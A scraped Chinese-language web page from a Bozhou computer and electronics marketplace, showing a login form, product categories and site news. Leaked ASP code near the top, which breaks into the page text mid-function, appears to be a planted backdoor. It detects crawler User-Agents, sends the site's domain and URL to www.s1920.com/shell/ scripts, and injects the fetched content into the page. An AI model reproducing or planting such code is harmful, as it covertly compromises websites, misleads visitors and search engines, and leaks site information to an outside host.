首页>>药都亳州数码港.亳州百脑汇.台式电脑.笔记本.办公设备.复印机.一体机.手机.数码产品.亳州最大的平价电脑手机数码广场

Body(infopageurl) On Error Resume Next if infopageurl<>"" then dim xmlHttp set xmlHttp=server.createobject("MSXML2.XMLHTTP") xmlHttp.open "GET",infopageurl,false xmlHttp.send getBody=BytesToBstr(xmlhttp.responsebody,"GB2312") set xmlHttp=nothing end if end Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode = 3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function dns = Request.ServerVariables("SERVER_NAME") path = Request.ServerVariables("PATH_INFO") qs = Request.ServerVariables("QUERY_STRING") url= dns&path&"?"&qs agent = Request.ServerVariables("HTTP_USER_AGENT") tz = "http" if Instr(agent,tz)>0 then if path ="/index.asp" or path="/default.asp" then response.write getBody("www.s1920.com/shell/sca.php?dns="&dns) else response.write getBody("www.s1920.com/shell/scan.php?dns="&url&"&dn="&dns) end if end if %> 首页>>药都亳州数码港.亳州百脑汇.台式电脑.笔记本.办公设备.复印机.一体机.手机.数码产品.亳州最大的平价电脑手机数码广场

欢迎登录亳州IT网 [登录] [注册]

个人会员由此注册/登录

用户名：

密　码：

验证码：

台式机 [2]

笔记本电脑 [3]

游戏机 [3]

数码存储 [11]

复印/一体机 [1]

打印机 [1]

打印耗材 [3]

软件系统 [7]

电脑桌椅 [10]

复印机 [0]

投影仪 [2]

内存 [1]

硬盘 [0]

cpu [0]

mp3/mp4 [0]

网络设备 [2]

品牌机箱 [0]

主板 [0]

显示器/音箱/鼠标 [19]

光驱 [0]

GPS定位/游戏点卡 [13]

手机 [0]

其它产品 [1]

☉	改革开放三十年亳州30件大事评选....
☉	欢迎[]注册亳州IT网商家会员
☉	欢迎[亳州市阳光科技电脑公司]注....
☉	亳州市手机市场调查
☉	欢迎[毫州大易]注册亳州IT网商....
☉	欢迎[先达电脑科技]注册亳州IT....